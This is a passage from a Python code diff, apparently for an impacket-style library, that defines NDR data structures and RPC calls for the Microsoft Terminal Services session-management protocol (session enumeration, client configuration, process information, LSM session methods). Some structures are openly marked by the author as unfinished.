+        ('SessionType', GUID),
+    )
+
+# 2.2.2.4.1.3 SESSIONENUM_LEVEL3
+class SESSIONENUM_LEVEL3(NDRSTRUCT):
+    structure = (
+        ('SessionId', LONG),
+        ('State', WINSTATIONSTATECLASS),
+        ('Name', WCHAR_ARRAY_33),
+        ('Source', ULONG),
+        ('bFullDesktop', BOOLEAN),
+        ('SessionType', GUID),
+        ('ProtoDataSize', ULONG),
+        ('pProtocolData', UCHAR),
+    )
+
+
+# 2.2.2.4.1 SessionInfo
+class SessionInfo(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1: ('SessionEnum_Level1', SESSIONENUM_LEVEL1),
+        2: ('SessionEnum_Level2', SESSIONENUM_LEVEL2),
+        3: ('SessionEnum_Level3', SESSIONENUM_LEVEL3),
+    }
+
+class SessionInfo_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('SessionInfo', SessionInfo),
+    )
+
+# 2.2.2.4 PSESSIONENUM
+class SESSIONENUM(NDRUniConformantArray):
+    item = SessionInfo_STRUCT
+
+class PSESSIONENUM(NDRPOINTER):
+    referent = (
+        ('Data', SESSIONENUM),
+    )
+
+# 2.2.2.5.1 SessionInfo_Ex
+SessionInfo_Ex = SessionInfo
+
+# 2.2.2.5 PSESSIONENUM_EX
+PSESSIONENUM_EX = SESSIONENUM
+
+# 2.2.2.6.1.1 EXECENVDATA_LEVEL1
+class EXECENVDATA_LEVEL1(NDRSTRUCT):
+    structure = (
+        ('ExecEnvId', LONG),
+        ('State', WINSTATIONSTATECLASS),
+        ('SessionName', WCHAR_ARRAY_33),
+    )
+class PEXECENVDATA_LEVEL1(NDRPOINTER):
+    referent =  ( 
+        ('Data', EXECENVDATA_LEVEL1),
+    )
+# 2.2.2.6.1.2 EXECENVDATA_LEVEL2
+class EXECENVDATA_LEVEL2(NDRSTRUCT):
+    structure = (
+        ('ExecEnvId', LONG),
+        ('State', WINSTATIONSTATECLASS),
+        ('SessionName', WCHAR_ARRAY_33),
+        ('AbsSessionId', LONG),
+        ('HostName', WCHAR_ARRAY_33),
+        ('UserName', WCHAR_ARRAY_33),
+        ('DomainName', WCHAR_ARRAY_33),
+        ('FarmName', WCHAR_ARRAY_33),
+    )
+class PEXECENVDATA_LEVEL2(NDRPOINTER):
+    referent =  ( 
+        ('Data', EXECENVDATA_LEVEL2),
+    )
+# 2.2.2.6.1 ExecEnvData
+class ExecEnvData(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1: ('ExecEnvEnum_Level1', EXECENVDATA_LEVEL1),
+        2: ('ExecEnvEnum_Level2', EXECENVDATA_LEVEL2),
+    }
+
+class ExecEnvData_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('ExecEnvData', ExecEnvData),
+    )
+
+# 2.2.2.6 PEXECENVDATA
+class EXECENVDATA(NDRUniConformantArray):
+    item = ExecEnvData_STRUCT
+
+class PEXECENVDATA(NDRPOINTER):
+    referent =  ( 
+        ('Data', EXECENVDATA),
+    )
+
+
+# 2.2.2.7.1.1 EXECENVDATAEX_LEVEL1
+class EXECENVDATAEX_LEVEL1(NDRSTRUCT):
+    #FIXME this structure does not work :(
+    '''
+        structure = (
+            ('ExecEnvId', LONG),
+            ('State', WINSTATIONSTATECLASS),
+            ('AbsSessionId', LONG),
+            ('pszSessionName', WIDESTR),
+            ('pszHostName', WIDESTR),
+            ('pszUserName', WIDESTR),
+            ('pszFarmName', WIDESTR),
+        )
+    '''
+    pass
+
+# 2.2.2.7.1 ExecEnvDataEx
+class ExecEnvDataEx(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1: ('ExecEnvEnum_Level1', EXECENVDATAEX_LEVEL1),
+    }
+
+# 2.2.2.7 PEXECENVDATAEX
+class EXECENVDATAEX(NDRUniConformantArray):
+    item = ExecEnvDataEx
+
+class PEXECENVDATAEX(NDRPOINTER):
+    referent =  ( 
+        ('Data', EXECENVDATAEX),
+    )
+
+# 2.2.2.12.1.1 LISTENERENUM_LEVEL1
+class LISTENERENUM_LEVEL1(NDRSTRUCT):
+    structure = (
+        ('Id', LONG),
+        ('bListening', BOOL),
+        ('Name', WCHAR_ARRAY_33),
+    )
+
+# 2.2.2.12.1 ListenerInfo
+class ListenerInfo(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1: ('ListenerEnum_Level1', LISTENERENUM_LEVEL1),
+    }
+
+class ListenerInfo_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', DWORD),
+        ('ListenerInfo', ListenerInfo),
+    )
+
+# 2.2.2.12 PLISTENERENUM
+class LISTENERENUM(NDRUniConformantArray):
+    item = ListenerInfo_STRUCT
+
+class PLISTENERENUM(NDRPOINTER):
+    referent = (
+        ('Data', LISTENERENUM),
+    )    
+# 2.2.2.8 PLSMSESSIONINFORMATION
+class LSMSESSIONINFORMATION(NDRSTRUCT):
+    structure = (
+        ('pszUserName', LPWCHAR_STRIPPED),
+        ('pszDomain', LPWCHAR_STRIPPED),
+        ('pszTerminalName', LPWCHAR_STRIPPED),
+        ('SessionState', WINSTATIONSTATECLASS),
+        ('DesktopLocked', BOOLEAN),
+        ('ConnectTime', SYSTEM_TIMESTAMP),
+        ('DisconnectTime', SYSTEM_TIMESTAMP),
+        ('LogonTime', SYSTEM_TIMESTAMP),
+    )
+
+
+# 2.2.2.19.1.1 TS_SYSTEMTIME
+class TS_SYSTEMTIME(NDRSTRUCT):
+    structure = (
+        ('wYear', USHORT),
+        ('wMonth', USHORT),
+        ('wDayOfWeek', USHORT),
+        ('wDay', USHORT),
+        ('wHour', USHORT),
+        ('wMinute', USHORT),
+        ('wSecond', USHORT),
+        ('wMilliseconds', USHORT),
+    )  
+
+# 2.2.2.19.1 TS_TIME_ZONE_INFORMATION
+class TS_TIME_ZONE_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Bias', ULONG),
+        ('StandardName', WCHAR_ARRAY_32),
+        ('StandardDate', TS_SYSTEMTIME),
+        ('StandardBias', ULONG),
+        ('DaylightName', WCHAR_ARRAY_32),
+        ('DaylightDate', TS_SYSTEMTIME),
+        ('DaylightBias', ULONG),
+    )  
+
+
+# 2.2.2.19 WINSTATIONCLIENT
+class WINSTATIONCLIENT(NDRSTRUCT):
+    class FLAGS(NDRSTRUCT):
+        # a little hack to extrack bit flags
+        structure = (
+            ('flags','6s=b""'),
+        )
+        def __getitem__(self, key):
+            if key == 'flags':
+                flagsInt = int.from_bytes(self.fields[key][2:],'little')
+                keys = {'fTextOnly'           : False,
+                        'fDisableCtrlAltDel'  : False,
+                        'fMouse'              : False,
+                        'fDoubleClickDetect'  : False,
+                        'fINetClient'         : False,
+                        'fPromptForPassword'  : False,
+                        'fMaximizeShell'      : False,
+                        'fEnableWindowsKey'   : False,
+                        'fRemoteConsoleAudio' : False,
+                        'fPasswordIsScPin'    : False,
+                        'fNoAudioPlayback'    : False,
+                        'fUsingSavedCreds'    : False,
+                        'fRestrictedLogon'    : False
+                }
+                for k in keys:
+                    keys[k] = bool(flagsInt & 1)
+                    flagsInt >>= 1
+                return keys
+            else:
+                return NDR.__getitem__(self,key)
+
+    structure = (
+        # I have no idea to to do it properly, so i'm parsing bit flags inside another structure class
+        ('flags', FLAGS),
+        ('ClientName', WCHAR_CLIENTNAME_LENGTH),
+        ('Domain', WCHAR_DOMAIN_LENGTH),
+        ('UserName', WCHAR_USERNAME_LENGTH),
+        ('Password', WCHAR_PASSWORD_LENGTH),
+        ('WorkDirectory', WCHAR_DIRECTORY_LENGTH),
+        ('InitialProgram', WCHAR_INITIALPROGRAM_LENGTH),
+        ('SerialNumber', ULONG),
+        ('EncryptionLevel', BYTE),
+        ('ClientAddressFamily', ADDRESSFAMILY_ENUM),
+        ('ClientAddress', WCHAR_CLIENTADDRESS_LENGTH),
+        ('HRes', USHORT),
+        ('VRes', USHORT),
+        ('ColorDepth', USHORT),
+        ('ProtocolType', USHORT),
+        ('KeyboardLayout', ULONG),
+        ('KeyboardType', ULONG),
+        ('KeyboardSubType', ULONG),
+        ('KeyboardFunctionKey', ULONG),
+        ('imeFileName', WCHAR_IMEFILENAME_LENGTH),
+        ('ClientDirectory', WCHAR_DIRECTORY_LENGTH),
+        ('ClientLicense', WCHAR_CLIENTLICENSE_LENGTH),
+        ('ClientModem', WCHAR_CLIENTMODEM_LENGTH),
+        ('ClientBuildNumber', ULONG),
+        ('ClientHardwareId', ULONG),
+        ('ClientProductId', USHORT),
+        ('OutBufCountHost', USHORT),
+        ('OutBufCountClient', USHORT),
+        ('OutBufLength', USHORT),
+        ('AudioDriverName', WCHAR_AUDIODRIVENAME_LENGTH),
+        ('ClientTimeZone', TS_TIME_ZONE_INFORMATION),
+        ('ClientSessionId', ULONG),
+        ('clientDigProductId', WCHAR_CLIENT_PRODUCT_ID_LENGTH),
+        ('PerformanceFlags', ULONG),
+        ('ActiveInputLocale', ULONG),
+    )  
+
+class PWINSTATIONCLIENT(NDRPOINTER):
+    referent = (
+        ('Data', WINSTATIONCLIENT),
+    )
+
+# 2.2.2.17.1 TS_COUNTER_HEADER
+class TS_COUNTER_HEADER(NDRSTRUCT):
+    structure = (
+        ('dwCounterID', DWORD),
+        ('bResult', BOOLEAN),
+    )
+
+# 2.2.2.17 TS_COUNTER
+class TS_COUNTER(NDRSTRUCT):
+    structure = (
+        ('counterHead', TS_COUNTER_HEADER),
+        ('dwValue', DWORD),
+        ('startTime', LARGE_INTEGER),
+    )
+
+class TS_COUNTER_ARRAY(NDRUniConformantArray):
+    item = TS_COUNTER
+
+class PTS_COUNTER(NDRPOINTER):
+    referent = (
+        ('Data', TS_COUNTER_ARRAY),
+    )
+
+# 2.2.2.11 LSM_SESSIONINFO_EX_LEVEL1
+class SESSIONFLAGS(NDRENUM):
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WTS_SESSIONSTATE_UNKNOWN    = 0xFFFFFFFF
+        WTS_SESSIONSTATE_LOCK       = 0x00000000
+        WTS_SESSIONSTATE_UNLOCK     = 0x00000001
+
+class LSM_SESSIONINFO_EX_LEVEL1(NDRSTRUCT):
+    structure = (
+        ('SessionState', WINSTATIONSTATECLASS),
+        ('SessionFlags', SESSIONFLAGS),
+        ('SessionName', WCHAR_ARRAY_33),
+        ('DomainName', WCHAR_ARRAY_18),
+        ('UserName', WCHAR_ARRAY_21),
+        ('ConnectTime', SYSTEM_TIMESTAMP),
+        ('DisconnectTime', SYSTEM_TIMESTAMP),
+        ('LogonTime', SYSTEM_TIMESTAMP),
+        ('LastInputTime', SYSTEM_TIMESTAMP),
+        ('ProtocolDataSize', ULONG),
+        ('ProtocolData', TS_LPCHAR),
+    )
+
+# 2.2.2.10 LSM_SESSIONINFO_EX
+class LSM_SESSIONINFO_EX(NDRUNION):
+    commonHdr = (
+        ('tag', DWORD),
+    )
+    union = {
+        1: ('LSM_SessionInfo_Level1', LSM_SESSIONINFO_EX_LEVEL1),
+    }
+    
+
+# 2.2.2.9 PLSMSESSIONINFORMATION_EX
+class PLSMSESSIONINFORMATION_EX(NDRPOINTER):
+    referent = (
+        ('Data', LSM_SESSIONINFO_EX ),
+    )
+
+# 2.2.1.14 TNotificationId
+class TNotificationId(NDRENUM):
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        WTS_NOTIFY_NONE                 = 0x0        #No notification
+        WTS_NOTIFY_CREATE               = 0x1        #Session creation notification
+        WTS_NOTIFY_CONNECT              = 0x2        #Session connection notification
+        WTS_NOTIFY_DISCONNECT           = 0x4        #Session disconnection notification
+        WTS_NOTIFY_LOGON                = 0x8        #Session logon notification
+        WTS_NOTIFY_LOGOFF               = 0x10       #Session logoff notification
+        WTS_NOTIFY_SHADOW_START         = 0x20       #Session shadow start notification
+        WTS_NOTIFY_SHADOW_STOP          = 0x40       #Session shadow stop notification 
+        WTS_NOTIFY_TERMINATE            = 0x80       #Session termination notification
+        WTS_NOTIFY_CONSOLE_CONNECT      = 0x100      #Console session connection notification
+        WTS_NOTIFY_CONSOLE_DISCONNECT   = 0x200      #Console session disconnect notification
+        WTS_NOTIFY_LOCK                 = 0x400      #Session lock notification
+        WTS_NOTIFY_UNLOCK               = 0x800      #Session unlock notification
+        WTS_NOTIFY_ALL                  = 0xffffffff #All notifications
+
+# 2.2.2.42 SESSION_CHANGE
+class SESSION_CHANGE(NDRSTRUCT):
+    structure = (
+        ('SessionId', LONG),
+        ('TNotificationId', TNotificationId),
+    )
+    
+class SESSION_CHANGE_ARRAY(NDRUniConformantArray):
+    item = SESSION_CHANGE
+
+class PSESSION_CHANGE(NDRPOINTER):
+    referent = (
+        ('Data', SESSION_CHANGE_ARRAY),
+    )
+
+
+# 2.2.2.18.1 CALLBACKCLASS
+class CALLBACKCLASS(NDRENUM):
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        Callback_Disable = 0
+        Callback_Roving  = 1
+        Callback_Fixed   = 2
+
+# 2.2.2.18 USERCONFIG
+class USERCONFIG(NDRSTRUCT):
+    class FLAGS(NDRSTRUCT):
+        # a little hack to extrack bit flags
+        structure = (
+            ('flags','7s=b""'),
+        )
+        def __getitem__(self, key):
+            if key == 'flags':
+                # Hope that works as intended. If no, try to parse less data in that 7byte array
+                flagsInt = int.from_bytes(self.fields[key][:],'little')
+                tmp  = [('fInheritAutoLogon'             ,1),
+                        ('fInheritResetBroken'           ,1),
+                        ('fInheritReconnectSame'         ,1),
+                        ('fInheritInitialProgram'        ,1),
+                        ('fInheritCallback'              ,1),
+                        ('fInheritCallbackNumber'        ,1),
+                        ('fInheritShadow'                ,1),
+                        ('fInheritMaxSessionTime'        ,1),
+                        ('fInheritMaxDisconnectionTime'  ,1),
+                        ('fInheritMaxIdleTime'           ,1),
+                        ('fInheritAutoClient'            ,1),
+                        ('fInheritSecurity'              ,1),
+                        ('fPromptForPassword'            ,1),
+                        ('fResetBroken'                  ,1),
+                        ('fReconnectSame'                ,1),
+                        ('fLogonDisabled'                ,1),
+                        ('fWallPaperDisabled'            ,1),
+                        ('fAutoClientDrives'             ,1),
+                        ('fAutoClientLpts'               ,1),
+                        ('fForceClientLptDef'            ,1),
+                        ('fRequireEncryption'            ,1),
+                        ('fDisableEncryption'            ,1),
+                        ('fUnused1'                      ,1),
+                        ('fHomeDirectoryMapRoot'         ,1),
+                        ('fUseDefaultGina'               ,1),
+                        ('fCursorBlinkDisabled'          ,1),
+                        ('fPublishedApp'                 ,1),
+                        ('fHideTitleBar'                 ,1),
+                        ('fMaximize'                     ,1),
+                        ('fDisableCpm'                   ,1),
+                        ('fDisableCdm'                   ,1),
+                        ('fDisableCcm'                   ,1),
+                        ('fDisableLPT'                   ,1),
+                        ('fDisableClip'                  ,1),
+                        ('fDisableExe'                   ,1),
+                        ('fDisableCam'                   ,1),
+                        ('fDisableAutoReconnect'         ,1),
+                        ('ColorDepth'                    ,3),
+                        ('fInheritColorDepth'            ,1),
+                        ('fErrorInvalidProfile'          ,1),
+                        ('fPasswordIsScPin'              ,1),
+                        ('fDisablePNPRedir'              ,1)
+                    ]
+                keys = {}
+                for k,bits in tmp:
+                    if bits == 1:
+                        keys[k] = flagsInt & 1
+                    else:
+                        keys[k] = flagsInt & ((1<<bits)-1)
+                    flagsInt >>= bits
+                return keys
+            else:
+                return NDR.__getitem__(self,key)
+
+    structure = (
+        # I have no idea to to do it properly, so i'm parsing bit flags inside another structure class
+        ('flags', FLAGS),
+        ('UserName', WCHAR_USERNAME_LENGTH),
+        ('Domain', WCHAR_DOMAIN_LENGTH),
+        ('Password', WCHAR_PASSWORD_LENGTH),
+        ('WorkDirectory', WCHAR_DIRECTORY_LENGTH),
+        ('InitialProgram', WCHAR_INITIALPROGRAM_LENGTH),
+        ('CallbackNumber', WCHAR_CALLBACK_LENGTH),
+        ('Callback', CALLBACKCLASS),
+        ('Shadow', SHADOWCLASS),
+        ('MaxConnectionTime', ULONG),
+        ('MaxDisconnectionTime', ULONG),
+        ('MaxIdleTime', ULONG),
+        ('KeyboardLayout', ULONG),
+        ('MinEncryptionLevel', BYTE),
+        ('NWLogonServer', WCHAR_NASIFILESERVER_LENGTH),
+        ('PublishedName', WCHAR_MAX_BR_NAME),
+        ('WFProfilePath', WCHAR_DIRECTORY_LENGTH),
+        ('WFHomeDir', WCHAR_DIRECTORY_LENGTH),
+        ('WFHomeDirDrive', WCHAR_ARRAY_4),
+    )
+
+
+class OEMId(NDRSTRUCT):
+    structure = (
+        ('OEMId', '4s=""'),
+    )
+# 2.2.2.30.1 WINSTATIONCONFIG
+class WINSTATIONCONFIG(NDRSTRUCT):
+    pass
+    structure = (
+        ('Comment', WCHAR_WINSTATIONCOMMENT_LENGTH),
+        ('User', USERCONFIG),
+        ('OEMId', OEMId),
+    )
+class PWINSTATIONCONFIG(NDRPOINTER):
+    referent = (
+        ('Data', WINSTATIONCONFIG),
+    )
+
+#NOT_IMPLEMETED 2.2.2.20.1.2 PROTOCOLCOUNTERS
+class PROTOCOLCOUNTERS(NDRSTRUCT):
+    pass
+
+
+#NOT_IMPLEMENTED 2.2.2.20.1.3 CACHE_STATISTICS
+class CACHE_STATISTICS(NDRSTRUCT):
+    pass
+
+#NOT_IMPLEMENTED 2.2.2.20.1 PROTOCOLSTATUS
+class PROTOCOLSTATUS(NDRSTRUCT):
+    pass
+
+class PPROTOCOLSTATUS(NDRPOINTER):
+    referent = (
+        ('Data', PROTOCOLSTATUS),
+    )
+
+# 2.2.2.43 RCM_REMOTEADDRESS
+class IPv4ADDRESS(NDRSTRUCT):
+    structure = (
+        ('Data', '<L'),
+    )
+    def __getitem__(self, key):
+        if key == 'Data':
+            x = self.fields[key]
+            y = []
+            while x:
+               y += [str(x & 0xff)]
+               x >>= 8
+            return '.'.join(y)
+        else:
+            return super().__getitem__(key)
+
+class RCM_REMOTEADDRESS_UNION_CASE_IPV4(NDRSTRUCT):
+    class _4CHAR(NDRSTRUCT):
+        structure = (
+            ('sin_zero', '4s=b""'),
+        )    
+    structure = (
+        ('sin_port', USHORT),
+        ('sin_port2', USHORT),
+        ('in_addr', IPv4ADDRESS),
+        ('sin_zero', _4CHAR),
+    )
+
+class RCM_REMOTEADDRESS_UNION_CASE_IPV6(NDRSTRUCT):
+    class _8CHAR(NDRSTRUCT):
+        structure = (
+            ('sin_zero', '8s=b""'),
+        )    
+    structure = (
+        ('sin_port', USHORT),
+        ('in_addr', ULONG),
+        ('sin_zero', _8CHAR),
+        ('sin6_scope_id', ULONG),
+    )
+
+class RCM_REMOTEADDRESS(NDRUNION):
+    commonHdr = (
+        ('tag', USHORT),
+    )
+    union = {
+        2 : ('ipv4', RCM_REMOTEADDRESS_UNION_CASE_IPV4),
+        23: ('ipv6', RCM_REMOTEADDRESS_UNION_CASE_IPV6),
+    }
+
+class pResult_ENUM(NDRENUM):
+    structure = (
+        ('Data', '<L'),
+    )
+    class enumItems(Enum):
+        STATUS_SUCCESS                                      = 0x00000000     # Successful call.
+        STATUS_INVALID_PARAMETER                            = 0xC000000D
+        STATUS_CANCELLED                                    = 0xC0000120     # The server is shutting down.
+        STATUS_INVALID_INFO_CLASS                           = 0xC0000003
+        STATUS_NO_MEMORY                                    = 0xC0000017     # Not enough memory to complete the operation
+        STATUS_ACCESS_DENIED                                = 0xC0000022
+        STATUS_BUFFER_TOO_SMALL                             = 0xC0000023
+        STATUS_NOT_IMPLEMENTED                              = 0xC0000002
+        STATUS_INFO_LENGTH_MISMATCH                         = 0xC0000004
+        STATUS_UNSUCCESSFUL                                 = 0xC0000001
+        STATUS_CTX_WINSTATION_NOT_FOUND                     = 0xC00A0015
+        STATUS_WRONG_PASSWORD                               = 0xC000006A
+        DOES_NOT_EXISTS_OR_INSUFFICIENT_PERMISSIONS         = 0x80071B6E
+        INVALID_PARAMETER2                                  = 0x80070057
+        ERROR_ACCESS_DENIED                                 = 0x80070005
+        ERROR_INVALID_STATE                                 = 0x8007139f
+        ERROR_LOGON_FAILURE                                 = 0x8007052e
+        ERROR_FILE_NOT_FOUND                                = 0x80070002
+        ERROR_STATUS_BUFFER_TOO_SMALL                       = 0x8007007A
+
+
+
+# 2.2.2.15.1 TS_SYS_PROCESS_INFORMATION
+class TS_SYS_PROCESS_INFORMATION(NDRSTRUCT):
+    structure = (
+         ('NextEntryOffset', ULONG),
+         ('NumberOfThreads', ULONG),
+         ('SpareLi1', LARGE_INTEGER),
+         ('SpareLi2', LARGE_INTEGER),
+         ('SpareLi3', LARGE_INTEGER),
+         ('CreateTime', LARGE_INTEGER),
+         ('UserTime', LARGE_INTEGER),
+         ('KernelTime', LARGE_INTEGER),
+         ('ImageNameSize', RPC_UNICODE_STRING), 
+         ('BasePriority', LONG),
+         ('UniqueProcessId', DWORD),
+         ('InheritedFromUniqueProcessId', DWORD),
+         ('HandleCount', ULONG),
+         ('SessionId', ULONG),
+         ('SpareUl3', ULONG),
+         ('PeakVirtualSize', ULONG), #SIZE_T
+         ('VirtualSize', ULONG), #SIZE_T
+         ('PageFaultCount', ULONG),
+         ('PeakWorkingSetSize', ULONG),
+         ('WorkingSetSize', ULONG),
+         ('QuotaPeakPagedPoolUsage', ULONG), #SIZE_T
+         ('QuotaPagedPoolUsage', ULONG), #SIZE_T
+         ('QuotaPeakNonPagedPoolUsage', ULONG), #SIZE_T
+         ('QuotaNonPagedPoolUsage', ULONG), #SIZE_T
+         ('PagefileUsage', ULONG), #SIZE_T
+         ('PeakPagefileUsage', ULONG), #SIZE_T
+         ('PrivatePageCount', ULONG), #SIZE_T
+         ('ImageName', WSTR_STRIPPED), # THIS SHOULD NOT BE HERE
+         ('pSid', SID), # THIS SHOULD NOT BE HERE
+    )
+
+
+class PTS_SYS_PROCESS_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', TS_SYS_PROCESS_INFORMATION),
+    )
+
+# 2.2.2.15 TS_ALL_PROCESSES_INFO
+class TS_ALL_PROCESSES_INFO(NDRSTRUCT):
+    structure = (
+        ('pTsProcessInfo', TS_SYS_PROCESS_INFORMATION),
+        ('SizeOfSid', DWORD),
+        ('pSid', TS_CHAR),
+    )
+ 
+class TS_ALL_PROCESSES_INFO_ARRAY(NDRUniConformantVaryingArray):
+    item = TS_SYS_PROCESS_INFORMATION
+
+class PTS_ALL_PROCESSES_INFO(NDRPOINTER):
+    referent = (
+        ('Data', TS_ALL_PROCESSES_INFO_ARRAY),
+    )    
+
+
+#NOT_IMPLEMENTED 2.2.2.30 WINSTATIONCONFIG2
+class WINSTATIONCONFIG2(NDRSTRUCT):
+    pass
+
+#NOT_IMPLEMENTED 2.2.2.44 CLIENT_STACK_ADDRESS
+class CLIENT_STACK_ADDRESS(NDRSTRUCT):
+    pass
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# 3.3.4.1 TermSrvSession Methods 484809d6-4239-471b-b5bc-61df8c23ac48 \pipe\LSM_API_service
+# 3.3.4.1.1 RpcOpenSession (Opnum 0)
+class RpcOpenSession(NDRCALL):
+    opnum = 0
+    structure = (
+        ('SessionId', ULONG),
+        ('phSession', handle_t),
+    )
+
+class RpcOpenSessionResponse(NDRCALL):
+    structure = (
+        ('phSession', SESSION_HANDLE),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.2 RpcCloseSession (Opnum 1)
+class RpcCloseSession(NDRCALL):
+    opnum = 1
+    structure = (
+        ('phSession', SESSION_HANDLE),
+    )
+
+class RpcCloseSessionResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.3 RpcConnect (Opnum 2)
+class RpcConnect(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hSession', SESSION_HANDLE),
+        ('TargetSessionId', LONG),
+        ('szPassword', WSTR)
+    )
+
+class RpcConnectResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.4 RpcDisconnect (Opnum 3)
+class RpcDisconnect(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcDisconnectResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.5 RpcLogoff (Opnum 4)
+class RpcLogoff(NDRCALL):
+    opnum = 4
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcLogoffResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.6 RpcGetUserName (Opnum 5)
+class RpcGetUserName(NDRCALL):
+    opnum = 5
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcGetUserNameResponse(NDRCALL):
+    structure = (
+        ('pszUserName', LPWCHAR_STRIPPED
+        ),
+        ('pszDomain', LPWCHAR_STRIPPED),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.7 RpcGetTerminalName (Opnum 6)
+class RpcGetTerminalName(NDRCALL):
+    opnum = 6
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcGetTerminalNameResponse(NDRCALL):
+    structure = (
+        ('pszTerminalName', LPWCHAR_STRIPPED),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.8 RpcGetState (Opnum 7)
+class RpcGetState(NDRCALL):
+    opnum = 7
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcGetStateResponse(NDRCALL):
+    structure = (
+        ('plState', WINSTATIONSTATECLASS),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)
+class RpcIsSessionDesktopLocked(NDRCALL):
+    opnum = 8
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcIsSessionDesktopLockedResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.10 RpcShowMessageBox (Opnum 9)
+class RpcShowMessageBox(NDRCALL):
+    opnum = 9
+    structure = (
+        ('hSession', SESSION_HANDLE),
+        ('szTitle', WSTR),
+        ('szMessage', WSTR),
+        ('ulStyle', ULONG),
+        ('ulTimeout', ULONG),
+        ('bDoNotWait', BOOL),
+    )
+
+class RpcShowMessageBoxResponse(NDRCALL):
+    structure = (
+        ('pulResponse', MSGBOX_ENUM),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.11 RpcGetTimes (Opnum 10)
+class RpcGetTimes(NDRCALL):
+    opnum = 10
+    structure = (
+        ('hSession', SESSION_HANDLE),
+    )
+
+class RpcGetTimesResponse(NDRCALL):
+    structure = (
+        ('pConnectTime', SYSTEM_TIMESTAMP),
+        ('pDisconnectTime', SYSTEM_TIMESTAMP),
+        ('pLogonTime', SYSTEM_TIMESTAMP),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.12 RpcGetSessionCounters (Opnum 11)
+class RpcGetSessionCounters(NDRCALL):
+    opnum = 11
+    structure = (
+        ('hBinding', handle_t),
+        ('uEntries', LONG),
+    )
+
+class RpcGetSessionCountersResponse(NDRCALL):
+    structure = (
+        ('pCounter', PTS_COUNTER),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.13 RpcGetSessionInformation (Opnum 12)
+class RpcGetSessionInformation(NDRCALL):
+    opnum = 12
+    structure = (
+        ('SessionId', LONG),
+    )
+class RpcGetSessionInformationResponse(NDRCALL):
+    structure = (
+        ('pSessionInfo', LSMSESSIONINFORMATION),
+        ('ErrorCode', ULONG),
+    )
+
+#OLD 3.2.4.1.14 RpcSwitchToServicesSession (Opnum 13)
+class RpcSwitchToServicesSession(NDRCALL):
+    opnum = 13
+    structure = (
+        ('hBinding', handle_t),
+    )
+
+class RpcSwitchToServicesSessionResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+#OLD 3.2.4.1.15 RpcRevertFromServicesSession (Opnum 14)
+class RpcRevertFromServicesSession(NDRCALL):
+    opnum = 14
+    structure = (
+        ('hBinding', handle_t),
+    )
+
+class RpcRevertFromServicesSessionResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)
+class RpcGetLoggedOnCount(NDRCALL):
+    opnum = 15
+    structure = (
+        ('hBinding', handle_t),
+    )
+
+class RpcGetLoggedOnCountResponse(NDRCALL):
+    structure = (
+        ('pUserSessions', ULONG),
+        ('pDeviceSessions', ULONG),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.15 RpcGetSessionType (Opnum 16)
+class RpcGetSessionType(NDRCALL):
+    opnum = 16
+    structure = (
+        ('SessionId', LONG),
+    )
+
+class RpcGetSessionTypeResponse(NDRCALL):
+    structure = (
+        ('pSessionType', SESSIONTYPE),
+        ('ErrorCode', ULONG),
+    )
+
+# 3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)
+class RpcGetSessionInformationEx(NDRCALL):
+    opnum = 17
+    structure = (
+        ('SessionId', LONG),
+        ('Level', DWORD),
+    )
+
+class RpcGetSessionInformationExResponse(NDRCALL):
+    structure = (
+        ('LSMSessionInfoExPtr', PLSMSESSIONINFORMATION_EX),
+        ('ErrorCode', ULONG),
+    )
+
+
+# 3.3.4.2 TermSrvNotification (LSM Notification); \PIPE\LSM_API_service; 11899a43-2b68-4a76-92e3-a3d6ad8c26ce
+# 3.3.4.2.1 RpcWaitForSessionState (Opnum 0)
+class RpcWaitForSessionState(NDRCALL):
+    opnum = 0
+    structure = (
+        ('SessionId', LONG),
+        ('State', LONG),
+        ('Timeout', ULONG),
+    )
+
+class RpcWaitForSessionStateResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', ULONG),
+    )
